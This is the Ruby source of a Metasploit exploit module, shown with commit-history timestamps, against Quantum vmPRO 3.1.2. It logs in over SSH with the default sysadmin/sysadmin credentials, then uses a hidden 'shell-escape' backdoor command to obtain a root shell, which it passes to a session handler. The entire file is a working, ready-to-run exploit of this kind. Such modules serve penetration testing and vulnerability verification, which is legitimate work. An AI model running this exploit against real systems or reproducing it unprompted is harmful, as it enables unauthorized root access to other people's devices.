Files
metasploit-gs/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb
T

137 lines
3.6 KiB
Ruby
Raw Normal View History

2014-03-17 14:19:27 +07:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-03-17 14:19:27 +07:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2014-03-17 14:19:27 +07:00
Rank = ExcellentRanking
include Msf::Auxiliary::CommandShell
2016-06-28 15:23:12 -05:00
include Msf::Exploit::Remote::SSH
2014-03-17 14:19:27 +07:00
def initialize(info={})
super(update_info(info,
'Name' => "Quantum vmPRO Backdoor Command",
'Description' => %q{
2014-03-24 12:16:59 -05:00
This module abuses a backdoor command in Quantum vmPRO. Any user, even one without admin
2014-03-18 06:11:02 -05:00
privileges, can get access to the restricted SSH shell. By using the hidden backdoor
2014-03-24 12:16:59 -05:00
"shell-escape" command it's possible to drop to a real root bash shell. This module
has been tested successfully on Quantum vmPRO 3.1.2.
2014-03-17 14:19:27 +07:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2014-03-18 06:11:02 -05:00
'xistence <xistence[at]0x90.nl>' # Original discovery and Metasploit module
2014-03-17 14:19:27 +07:00
],
'References' =>
[
['PACKETSTORM', '125760']
2014-03-17 14:19:27 +07:00
],
'DefaultOptions' =>
{
2015-09-01 10:43:45 +02:00
'EXITFUNC' => 'thread'
2014-03-17 14:19:27 +07:00
},
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
['Quantum vmPRO 3.1.2', {}],
],
'Privileged' => true,
'DisclosureDate' => "Mar 17 2014",
'DefaultTarget' => 0))
register_options(
[
2014-03-18 06:17:41 -05:00
Opt::RHOST(),
2014-03-17 14:19:27 +07:00
Opt::RPORT(22),
OptString.new('USER', [ true, 'vmPRO SSH user', 'sysadmin']),
OptString.new('PASS', [ true, 'vmPRO SSH password', 'sysadmin'])
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(user, pass)
2016-06-28 15:23:12 -05:00
factory = ssh_socket_factory
2014-03-17 14:19:27 +07:00
opts = {
:auth_methods => ['password', 'keyboard-interactive'],
:port => rport,
2016-06-24 13:55:28 -05:00
:use_agent => false,
2014-03-17 14:19:27 +07:00
:config => true,
:password => pass,
2016-07-14 11:12:03 -05:00
:proxy => factory,
:non_interactive => true
2014-03-17 14:19:27 +07:00
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError
2014-03-18 06:11:02 -05:00
return nil
2014-03-17 14:19:27 +07:00
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
2014-03-18 06:11:02 -05:00
return nil
2014-03-17 14:19:27 +07:00
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
2014-03-18 06:11:02 -05:00
return nil
2014-03-17 14:19:27 +07:00
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
2014-03-18 06:11:02 -05:00
return nil
2014-03-17 14:19:27 +07:00
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
2014-03-18 06:11:02 -05:00
return nil
2014-03-17 14:19:27 +07:00
end
if ssh
conn = Net::SSH::CommandStream.new(ssh, 'shell-escape', true)
return conn
end
return nil
end
def exploit
user = datastore['USER']
pass = datastore['PASS']
print_status("#{rhost}:#{rport} - Attempt to login...")
conn = do_login(user, pass)
if conn
2017-07-19 12:48:52 +01:00
print_good("#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})")
2014-03-17 14:19:27 +07:00
handler(conn.lsock)
end
end
end